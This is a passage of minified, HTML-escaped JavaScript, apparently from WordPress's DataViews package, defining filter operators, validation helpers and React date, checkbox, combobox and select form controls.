f=d[0];if(f===&quot;p&quot;||f===&quot;P&quot;){let m=Cce[f];return m(d,n.formatLong)}return d}).join(&quot;&quot;).match(A2e).map(d=&gt;{if(d===&quot;&#039;&#039;&quot;)return{isToken:!1,value:&quot;&#039;&quot;};let f=d[0];if(f===&quot;&#039;&quot;)return{isToken:!1,value:V2e(d)};if(z4[f])return{isToken:!0,value:d};if(f.match(D2e))throw new RangeError(&quot;Format string contains an unescaped latin alphabet character `&quot;+f+&quot;`&quot;);return{isToken:!1,value:d}});n.localize.preprocessor&amp;&amp;(c=n.localize.preprocessor(a,c));let u={firstWeekContainsDate:i,weekStartsOn:s,locale:n};return c.map(d=&gt;{if(!d.isToken)return d.value;let f=d.value;(!o?.useAdditionalWeekYearTokens&amp;&amp;Ece(f)||!o?.useAdditionalDayOfYearTokens&amp;&amp;Bce(f))&amp;&amp;Tce(f,t,String(e));let m=z4[f[0]];return m(a,f,n.localize,u)}).join(&quot;&quot;)}function V2e(e){let t=e.match(N2e);return t?t[1].replace(M2e,&quot;&#039;&quot;):e}function hp(e,t,o){return N2(e,-t,o)}function j2(e,t,o){return M2(e,-t,o)}function Ice(e,t,o){return ace(e,-t,o)}function U2(e,t,o){return lce(e,-t,o)}var de=l(N(),1),lo=l(R(),1),rn=l(pc(),1);var U4=l(w(),1),wo={Name:(0,U4.jsx)(&quot;span&quot;,{className:&quot;dataviews-filters__summary-filter-text-name&quot;}),Value:(0,U4.jsx)(&quot;span&quot;,{className:&quot;dataviews-filters__summary-filter-text-value&quot;})};function Pce(e,t){switch(t){case&quot;days&quot;:return hp(new Date,e);case&quot;weeks&quot;:return Ice(new Date,e);case&quot;months&quot;:return j2(new Date,e);case&quot;years&quot;:return U2(new Date,e);default:return new Date}}var Rce={label:(0,de.__)(&quot;Is none of&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is none of: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(o=&gt;o.label).join(&quot;, &quot;)),wo),filter:((e,t,o)=&gt;{if(!o?.length)return!0;let r=t.getValue({item:e});return Array.isArray(r)?!o.some(n=&gt;r.includes(n)):typeof r==&quot;string&quot;?!o.includes(r):!1}),selection:&quot;multi&quot;},Oce=[{name:Ut,label:(0,de.__)(&quot;Includes&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s includes: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(o=&gt;o.label).join(&quot;, &quot;)),wo),filter(e,t,o){if(!o?.length)return!0;let r=t.getValue({item:e});return Array.isArray(r)?o.some(n=&gt;r.includes(n)):typeof r==&quot;string&quot;?o.includes(r):!1},selection:&quot;multi&quot;},{name:Ht,...Rce},{name:Ir,label:(0,de.__)(&quot;Includes all&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s includes all: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t.map(o=&gt;o.label).join(&quot;, &quot;)),wo),filter(e,t,o){return o?.length?o.every(r=&gt;t.getValue({item:e})?.includes(r)):!0},selection:&quot;multi&quot;},{name:Pr,...Rce},{name:tn,label:(0,de.__)(&quot;Between (inc)&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s between (inc): &lt;/Name&gt;&lt;Value&gt;%2$s and %3$s&lt;/Value&gt;&quot;),e.name,t[0].label[0],t[0].label[1]),wo),filter(e,t,o){if(!Array.isArray(o)||o.length!==2||o[0]===void 0||o[1]===void 0)return!0;let r=t.getValue({item:e});return typeof r==&quot;number&quot;||r instanceof Date||typeof r==&quot;string&quot;?r&gt;=o[0]&amp;&amp;r&lt;=o[1]:!1},selection:&quot;custom&quot;},{name:on,label:(0,de.__)(&quot;In the past&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is in the past: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,`${t[0].value.value} ${t[0].value.unit}`),wo),filter(e,t,o){if(o?.value===void 0||o?.unit===void 0)return!0;let r=Pce(o.value,o.unit),n=(0,rn.getDate)(t.getValue({item:e}));return n&gt;=r&amp;&amp;n&lt;=new Date},selection:&quot;custom&quot;},{name:Rn,label:(0,de.__)(&quot;Over&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is over: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,`${t[0].value.value} ${t[0].value.unit}`),wo),filter(e,t,o){if(o?.value===void 0||o?.unit===void 0)return!0;let r=Pce(o.value,o.unit);return(0,rn.getDate)(t.getValue({item:e}))&lt;r},selection:&quot;custom&quot;},{name:Jt,label:(0,de.__)(&quot;Is&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o===t.getValue({item:e})||o===void 0},selection:&quot;single&quot;},{name:eo,label:(0,de.__)(&quot;Is not&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is not: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o!==t.getValue({item:e})},selection:&quot;single&quot;},{name:Hd,label:(0,de.__)(&quot;Less than&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is less than: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o===void 0?!0:t.getValue({item:e})&lt;o},selection:&quot;single&quot;},{name:Gd,label:(0,de.__)(&quot;Greater than&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is greater than: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o===void 0?!0:t.getValue({item:e})&gt;o},selection:&quot;single&quot;},{name:Wd,label:(0,de.__)(&quot;Less than or equal&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is less than or equal to: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o===void 0?!0:t.getValue({item:e})&lt;=o},selection:&quot;single&quot;},{name:$d,label:(0,de.__)(&quot;Greater than or equal&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is greater than or equal to: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){return o===void 0?!0:t.getValue({item:e})&gt;=o},selection:&quot;single&quot;},{name:Kd,label:(0,de.__)(&quot;Before&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is before: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o);return(0,rn.getDate)(t.getValue({item:e}))&lt;r},selection:&quot;single&quot;},{name:Yd,label:(0,de.__)(&quot;After&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is after: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o);return(0,rn.getDate)(t.getValue({item:e}))&gt;r},selection:&quot;single&quot;},{name:qd,label:(0,de.__)(&quot;Before (inc)&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is on or before: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o);return(0,rn.getDate)(t.getValue({item:e}))&lt;=r},selection:&quot;single&quot;},{name:Zd,label:(0,de.__)(&quot;After (inc)&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is on or after: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o);return(0,rn.getDate)(t.getValue({item:e}))&gt;=r},selection:&quot;single&quot;},{name:Ja,label:(0,de.__)(&quot;Contains&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s contains: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=t.getValue({item:e});return typeof r==&quot;string&quot;&amp;&amp;o&amp;&amp;r.toLowerCase().includes(String(o).toLowerCase())},selection:&quot;single&quot;},{name:el,label:(0,de.__)(&quot;Doesn&#039;t contain&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s doesn&#039;t contain: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=t.getValue({item:e});return typeof r==&quot;string&quot;&amp;&amp;o&amp;&amp;!r.toLowerCase().includes(String(o).toLowerCase())},selection:&quot;single&quot;},{name:tl,label:(0,de.__)(&quot;Starts with&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s starts with: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=t.getValue({item:e});return typeof r==&quot;string&quot;&amp;&amp;o&amp;&amp;r.toLowerCase().startsWith(String(o).toLowerCase())},selection:&quot;single&quot;},{name:Xd,label:(0,de.__)(&quot;On&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o),n=(0,rn.getDate)(t.getValue({item:e}));return r.getTime()===n.getTime()},selection:&quot;single&quot;},{name:Qd,label:(0,de.__)(&quot;Not on&quot;),filterText:(e,t)=&gt;(0,lo.createInterpolateElement)((0,de.sprintf)((0,de.__)(&quot;&lt;Name&gt;%1$s is not: &lt;/Name&gt;&lt;Value&gt;%2$s&lt;/Value&gt;&quot;),e.name,t[0].label),wo),filter(e,t,o){if(o===void 0)return!0;let r=(0,rn.getDate)(o),n=(0,rn.getDate)(t.getValue({item:e}));return r.getTime()!==n.getTime()},selection:&quot;single&quot;}],Ace=e=&gt;Oce.find(t=&gt;t.name===e),Lce=()=&gt;Oce.map(e=&gt;e.name);var Nce=l(A(),1),Mce=l(R(),1);function pt(e,t){let o;return e?.required&amp;&amp;t?.required?o=t?.required?.message?t.required:void 0:e?.pattern&amp;&amp;t?.pattern?o=t.pattern:e?.min&amp;&amp;t?.min?o=t.min:e?.max&amp;&amp;t?.max?o=t.max:e?.minLength&amp;&amp;t?.minLength?o=t.minLength:e?.maxLength&amp;&amp;t?.maxLength?o=t.maxLength:e?.elements&amp;&amp;t?.elements?o=t.elements:t?.custom&amp;&amp;(o=t.custom),o}var Dce=l(w(),1),{ValidatedCheckboxControl:F2e}=St(Nce.privateApis);function Vce({field:e,onChange:t,data:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{getValue:s,setValue:a,label:c,description:u,isValid:d}=e,f=(0,Mce.useCallback)(()=&gt;{t(a({item:o,value:!s({item:o})}))},[o,s,t,a]);return(0,Dce.jsx)(F2e,{required:!!e.isValid?.required,markWhenOptional:n,customValidity:pt(d,i),hidden:r,label:c,help:u,checked:s({item:o}),onChange:f})}var H2=l(A(),1),Fce=l(R(),1);var H4=l(w(),1),{ValidatedComboboxControl:z2e}=St(H2.privateApis);function G2({data:e,field:t,onChange:o,hideLabelFromVision:r,validity:n}){let{label:i,description:s,placeholder:a,getValue:c,setValue:u,isValid:d}=t,f=c({item:e})??&quot;&quot;,m=(0,Fce.useCallback)(g=&gt;o(u({item:e,value:g??&quot;&quot;})),[e,o,u]),{elements:h,isLoading:p}=On({elements:t.elements,getElements:t.getElements});return p?(0,H4.jsx)(H2.Spinner,{}):(0,H4.jsx)(z2e,{required:!!t.isValid?.required,customValidity:pt(d,n),label:i,value:f,help:s,placeholder:a,options:h,onChange:m,hideLabelFromVision:r,allowReset:!0,expandOnFocus:!0})}var Y2=l(A(),1),cs=l(R(),1),K2=l(N(),1),hi=l(pc(),1);var hk=l(A(),1),G4=l(R(),1),ol=l(N(),1);var pk=l(w(),1),j2e={[on]:[{value:&quot;days&quot;,label:(0,ol.__)(&quot;Days&quot;)},{value:&quot;weeks&quot;,label:(0,ol.__)(&quot;Weeks&quot;)},{value:&quot;months&quot;,label:(0,ol.__)(&quot;Months&quot;)},{value:&quot;years&quot;,label:(0,ol.__)(&quot;Years&quot;)}],[Rn]:[{value:&quot;days&quot;,label:(0,ol.__)(&quot;Days ago&quot;)},{value:&quot;weeks&quot;,label:(0,ol.__)(&quot;Weeks ago&quot;)},{value:&quot;months&quot;,label:(0,ol.__)(&quot;Months ago&quot;)},{value:&quot;years&quot;,label:(0,ol.__)(&quot;Years ago&quot;)}]};function W2({className:e,data:t,field:o,onChange:r,hideLabelFromVision:n,operator:i}){let s=j2e[i===on?&quot;inThePast&quot;:&quot;over&quot;],{id:a,label:c,getValue:u,setValue:d}=o,f=u({item:t}),{value:m=&quot;&quot;,unit:h=s[0].value}=f&amp;&amp;typeof f==&quot;object&quot;?f:{},p=(0,G4.useCallback)(b=&gt;r(d({item:t,value:{value:Number(b),unit:h}})),[r,d,t,h]),g=(0,G4.useCallback)(b=&gt;r(d({item:t,value:{value:m,unit:b}})),[r,d,t,m]);return(0,pk.jsx)(hk.BaseControl,{id:a,className:V(e,&quot;dataviews-controls__relative-date&quot;),label:c,hideLabelFromVision:n,children:(0,pk.jsxs)(De,{direction:&quot;row&quot;,gap:&quot;sm&quot;,children:[(0,pk.jsx)(hk.__experimentalNumberControl,{__next40pxDefaultSize:!0,className:&quot;dataviews-controls__relative-date-number&quot;,spinControls:&quot;none&quot;,min:1,step:1,value:m,onChange:p}),(0,pk.jsx)(hk.SelectControl,{className:&quot;dataviews-controls__relative-date-unit&quot;,__next40pxDefaultSize:!0,label:(0,ol.__)(&quot;Unit&quot;),value:h,options:s,onChange:g,hideLabelFromVision:!0})]})})}var zce=l(pc(),1);function $2(e){if(!e)return null;let t=(0,zce.getDate)(e);return t&amp;&amp;uk(t)?t:null}var ef=l(w(),1),{DateCalendar:U2e,ValidatedInputControl:H2e}=St(Y2.privateApis),G2e=e=&gt;e?(0,hi.dateI18n)(&quot;Y-m-d\\TH:i&quot;,(0,hi.getDate)(e)):&quot;&quot;;function W2e({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{id:s,label:a,description:c,setValue:u,getValue:d,isValid:f}=t,m=d({item:e}),h=typeof m==&quot;string&quot;?m:void 0,[p,g]=(0,cs.useState)(()=&gt;$2(h)||new Date),b=(0,cs.useRef)(null),v=(0,cs.useRef)(void 0),k=(0,cs.useRef)(null),y=(0,cs.useCallback)(E=&gt;o(u({item:e,value:E})),[e,o,u]);(0,cs.useEffect)(()=&gt;()=&gt;{v.current&amp;&amp;clearTimeout(v.current)},[]);let S=(0,cs.useCallback)(E=&gt;{let L;if(E){let T=(0,hi.dateI18n)(&quot;Y-m-d&quot;,E),O;h?O=(0,hi.dateI18n)(&quot;H:i&quot;,(0,hi.getDate)(h)):O=(0,hi.dateI18n)(&quot;H:i&quot;,E),L=(0,hi.getDate)(`${T}T${O}`).toISOString(),y(L),v.current&amp;&amp;clearTimeout(v.current)}else y(void 0);k.current=b.current&amp;&amp;b.current.ownerDocument.activeElement,v.current=setTimeout(()=&gt;{b.current&amp;&amp;(b.current.focus(),b.current.blur(),y(L),k.current&amp;&amp;k.current instanceof HTMLElement&amp;&amp;k.current.focus())},0)},[y,h]),x=(0,cs.useCallback)(E=&gt;{if(E){let L=(0,hi.getDate)(E);y(L.toISOString());let T=$2(L.toISOString());T&amp;&amp;g(T)}else y(void 0)},[y]),{format:C}=t,B=C.weekStartsOn??(0,hi.getSettings)().l10n.startOfWeek,{timezone:{string:I}}=(0,hi.getSettings)(),P=a;return f?.required&amp;&amp;!n&amp;&amp;!r?P=`${a} (${(0,K2.__)(&quot;Required&quot;)})`:!f?.required&amp;&amp;n&amp;&amp;!r&amp;&amp;(P=`${a} (${(0,K2.__)(&quot;Optional&quot;)})`),(0,ef.jsx)(Y2.BaseControl,{id:s,label:P,help:c,hideLabelFromVision:r,children:(0,ef.jsxs)(De,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,ef.jsx)(U2e,{style:{width:&quot;100%&quot;},selected:h&amp;&amp;$2(h)||void 0,onSelect:S,month:p,onMonthChange:g,timeZone:I||void 0,weekStartsOn:B}),(0,ef.jsx)(H2e,{ref:b,__next40pxDefaultSize:!0,required:!!f?.required,customValidity:pt(f,i),type:&quot;datetime-local&quot;,label:(0,K2.__)(&quot;Date time&quot;),hideLabelFromVision:!0,value:G2e(h),onChange:x})]})})}function jce({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,operator:i,validity:s}){return i===on||i===Rn?(0,ef.jsx)(W2,{className:&quot;dataviews-controls__datetime&quot;,data:e,field:t,onChange:o,hideLabelFromVision:r,operator:i}):(0,ef.jsx)(W2e,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:s})}var Or=l(A(),1),tt=l(R(),1),Ko=l(N(),1),Rr=l(pc(),1);var ht=l(w(),1),{DateCalendar:$2e,DateRangeCalendar:K2e}=St(Or.privateApis),Y2e=[{id:&quot;today&quot;,label:(0,Ko.__)(&quot;Today&quot;),getValue:()=&gt;(0,Rr.getDate)(null)},{id:&quot;yesterday&quot;,label:(0,Ko.__)(&quot;Yesterday&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return hp(e,1)}},{id:&quot;past-week&quot;,label:(0,Ko.__)(&quot;Past week&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return hp(e,7)}},{id:&quot;past-month&quot;,label:(0,Ko.__)(&quot;Past month&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return j2(e,1)}}],q2e=[{id:&quot;last-7-days&quot;,label:(0,Ko.__)(&quot;Last 7 days&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return[hp(e,7),e]}},{id:&quot;last-30-days&quot;,label:(0,Ko.__)(&quot;Last 30 days&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return[hp(e,30),e]}},{id:&quot;month-to-date&quot;,label:(0,Ko.__)(&quot;Month to date&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return[uce(e),e]}},{id:&quot;last-year&quot;,label:(0,Ko.__)(&quot;Last year&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return[U2(e,1),e]}},{id:&quot;year-to-date&quot;,label:(0,Ko.__)(&quot;Year to date&quot;),getValue:()=&gt;{let e=(0,Rr.getDate)(null);return[V2(e),e]}}],gk=e=&gt;{if(!e)return null;let t=(0,Rr.getDate)(e);return t&amp;&amp;uk(t)?t:null},W4=e=&gt;e?typeof e==&quot;string&quot;?e:j4(e,&quot;yyyy-MM-dd&quot;):&quot;&quot;;function Uce({field:e,validity:t,inputRefs:o,isTouched:r,setIsTouched:n,children:i}){let{isValid:s}=e,[a,c]=(0,tt.useState)(void 0),u=(0,tt.useCallback)(()=&gt;{let f=Array.isArray(o)?o:[o];for(let m of f){let h=m.current;if(h&amp;&amp;!h.validity.valid){c({type:&quot;invalid&quot;,message:h.validationMessage});return}}c(void 0)},[o]);return(0,tt.useEffect)(()=&gt;{let f=Array.isArray(o)?o:[o],m=t?pt(s,t):void 0;for(let h of f){let p=h.current;p&amp;&amp;p.setCustomValidity(m?.type===&quot;invalid&quot;&amp;&amp;m.message?m.message:&quot;&quot;)}},[o,s,t]),(0,tt.useEffect)(()=&gt;{let f=Array.isArray(o)?o:[o],m=h=&gt;{h.preventDefault(),n(!0)};for(let h of f)h.current?.addEventListener(&quot;invalid&quot;,m);return()=&gt;{for(let h of f)h.current?.removeEventListener(&quot;invalid&quot;,m)}},[o,n]),(0,tt.useEffect)(()=&gt;{if(!r)return;let f=t?pt(s,t):void 0;f?c(f):u()},[r,s,t,u]),(0,ht.jsxs)(&quot;div&quot;,{onBlur:f=&gt;{r||(!f.relatedTarget||!f.currentTarget.contains(f.relatedTarget))&amp;&amp;n(!0)},children:[i,(0,ht.jsx)(&quot;div&quot;,{&quot;aria-live&quot;:&quot;polite&quot;,children:a&amp;&amp;(0,ht.jsxs)(&quot;p&quot;,{className:V(&quot;components-validated-control__indicator&quot;,a.type===&quot;invalid&quot;?&quot;is-invalid&quot;:void 0),children:[(0,ht.jsx)(Or.Icon,{className:&quot;components-validated-control__indicator-icon&quot;,icon:Pf,size:16,fill:&quot;currentColor&quot;}),a.message]})})]})}function Z2e({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{id:s,label:a,setValue:c,getValue:u,isValid:d,format:f}=t,[m,h]=(0,tt.useState)(null),p=f.weekStartsOn??(0,Rr.getSettings)().l10n.startOfWeek,g=u({item:e}),b=typeof g==&quot;string&quot;?g:void 0,[v,k]=(0,tt.useState)(()=&gt;gk(b)||new Date),[y,S]=(0,tt.useState)(!1),x=(0,tt.useRef)(null),C=(0,tt.useCallback)(T=&gt;o(c({item:e,value:T})),[e,o,c]),B=(0,tt.useCallback)(T=&gt;{let O=T?j4(T,&quot;yyyy-MM-dd&quot;):void 0;C(O),h(null),S(!0)},[C]),I=(0,tt.useCallback)(T=&gt;{let O=T.getValue(),D=W4(O);k(O),C(D),h(T.id),S(!0)},[C]),P=(0,tt.useCallback)(T=&gt;{if(C(T),T){let O=gk(T);O&amp;&amp;k(O)}h(null),S(!0)},[C]),{timezone:{string:E}}=(0,Rr.getSettings)(),L=a;return d?.required&amp;&amp;!n?L=`${a} (${(0,Ko.__)(&quot;Required&quot;)})`:!d?.required&amp;&amp;n&amp;&amp;(L=`${a} (${(0,Ko.__)(&quot;Optional&quot;)})`),(0,ht.jsx)(Uce,{field:t,validity:i,inputRefs:x,isTouched:y,setIsTouched:S,children:(0,ht.jsx)(Or.BaseControl,{id:s,className:&quot;dataviews-controls__date&quot;,label:L,hideLabelFromVision:r,children:(0,ht.jsxs)(De,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,ht.jsxs)(De,{direction:&quot;row&quot;,gap:&quot;sm&quot;,wrap:&quot;wrap&quot;,justify:&quot;flex-start&quot;,children:[Y2e.map(T=&gt;{let O=m===T.id;return(0,ht.jsx)(Or.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:O,size:&quot;small&quot;,onClick:()=&gt;I(T),children:T.label},T.id)}),(0,ht.jsx)(Or.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:!m,size:&quot;small&quot;,disabled:!!m,accessibleWhenDisabled:!1,children:(0,Ko.__)(&quot;Custom&quot;)})]}),(0,ht.jsx)(Or.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:x,type:&quot;date&quot;,label:(0,Ko.__)(&quot;Date&quot;),hideLabelFromVision:!0,value:b,onChange:P,required:!!t.isValid?.required}),(0,ht.jsx)($2e,{style:{width:&quot;100%&quot;},selected:b&amp;&amp;gk(b)||void 0,onSelect:B,month:v,onMonthChange:k,timeZone:E||void 0,weekStartsOn:p})]})})})}function X2e({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{id:s,label:a,getValue:c,setValue:u,format:d}=t,f,m=c({item:e});Array.isArray(m)&amp;&amp;m.length===2&amp;&amp;m.every(D=&gt;typeof D==&quot;string&quot;)&amp;&amp;(f=m);let h=d.weekStartsOn??(0,Rr.getSettings)().l10n.startOfWeek,p=(0,tt.useCallback)(D=&gt;{o(u({item:e,value:D}))},[e,o,u]),[g,b]=(0,tt.useState)(null),v=(0,tt.useMemo)(()=&gt;{if(!f)return{from:void 0,to:void 0};let[D,U]=f;return{from:gk(D)||void 0,to:gk(U)||void 0}},[f]),[k,y]=(0,tt.useState)(()=&gt;v.from||new Date),[S,x]=(0,tt.useState)(!1),C=(0,tt.useRef)(null),B=(0,tt.useRef)(null),I=(0,tt.useCallback)((D,U)=&gt;{D&amp;&amp;U?p([W4(D),W4(U)]):!D&amp;&amp;!U&amp;&amp;p(void 0)},[p]),P=(0,tt.useCallback)(D=&gt;{I(D?.from,D?.to),b(null),x(!0)},[I]),E=(0,tt.useCallback)(D=&gt;{let[U,G]=D.getValue();y(U),I(U,G),b(D.id),x(!0)},[I]),L=(0,tt.useCallback)((D,U)=&gt;{let[G,j]=f||[void 0,void 0];if(I(D===&quot;from&quot;?U:G,D===&quot;to&quot;?U:j),U){let ee=gk(U);ee&amp;&amp;y(ee)}b(null),x(!0)},[f,I]),{timezone:T}=(0,Rr.getSettings)(),O=a;return t.isValid?.required&amp;&amp;!n?O=`${a} (${(0,Ko.__)(&quot;Required&quot;)})`:!t.isValid?.required&amp;&amp;n&amp;&amp;(O=`${a} (${(0,Ko.__)(&quot;Optional&quot;)})`),(0,ht.jsx)(Uce,{field:t,validity:i,inputRefs:[C,B],isTouched:S,setIsTouched:x,children:(0,ht.jsx)(Or.BaseControl,{id:s,className:&quot;dataviews-controls__date&quot;,label:O,hideLabelFromVision:r,children:(0,ht.jsxs)(De,{direction:&quot;column&quot;,gap:&quot;lg&quot;,children:[(0,ht.jsxs)(De,{direction:&quot;row&quot;,gap:&quot;sm&quot;,wrap:&quot;wrap&quot;,justify:&quot;flex-start&quot;,children:[q2e.map(D=&gt;{let U=g===D.id;return(0,ht.jsx)(Or.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:U,size:&quot;small&quot;,onClick:()=&gt;E(D),children:D.label},D.id)}),(0,ht.jsx)(Or.Button,{className:&quot;dataviews-controls__date-preset&quot;,variant:&quot;tertiary&quot;,isPressed:!g,size:&quot;small&quot;,accessibleWhenDisabled:!1,disabled:!!g,children:(0,Ko.__)(&quot;Custom&quot;)})]}),(0,ht.jsxs)(De,{direction:&quot;row&quot;,gap:&quot;sm&quot;,justify:&quot;space-between&quot;,className:&quot;dataviews-controls__date-range-inputs&quot;,children:[(0,ht.jsx)(Or.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:C,type:&quot;date&quot;,label:(0,Ko.__)(&quot;From&quot;),hideLabelFromVision:!0,value:f?.[0],onChange:D=&gt;L(&quot;from&quot;,D),required:!!t.isValid?.required}),(0,ht.jsx)(Or.__experimentalInputControl,{__next40pxDefaultSize:!0,ref:B,type:&quot;date&quot;,label:(0,Ko.__)(&quot;To&quot;),hideLabelFromVision:!0,value:f?.[1],onChange:D=&gt;L(&quot;to&quot;,D),required:!!t.isValid?.required})]}),(0,ht.jsx)(K2e,{style:{width:&quot;100%&quot;},selected:v,onSelect:P,month:k,onMonthChange:y,timeZone:T.string||void 0,weekStartsOn:h})]})})})}function Hce({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,operator:i,validity:s}){return i===on||i===Rn?(0,ht.jsx)(W2,{className:&quot;dataviews-controls__date&quot;,data:e,field:t,onChange:o,hideLabelFromVision:r,operator:i}):i===tn?(0,ht.jsx)(X2e,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:s}):(0,ht.jsx)(Z2e,{data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:s})}var q2=l(A(),1),Gce=l(R(),1);var $4=l(w(),1),{ValidatedSelectControl:Q2e}=St(q2.privateApis);function Z2({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{type:s,label:a,description:c,getValue:u,setValue:d,isValid:f}=t,m=s===&quot;array&quot;,h=u({item:e})??(m?[]:&quot;&quot;),p=(0,Gce.useCallback)(v=&gt;o(d({item:e,value:v})),[e,o,d]),{elements:g,isLoading:b}=On({elements:t.elements,getElements:t.getElements});return b?(0,$4.jsx)(q2.Spinner,{}):(0,$4.jsx)(Q2e,{required:!!t.isValid?.required,markWhenOptional:n,customValidity:pt(f,i),label:a,value:h,help:c,options:g,onChange:p,__next40pxDefaultSize:!0,hideLabelFromVision:r,multiple:m})}var 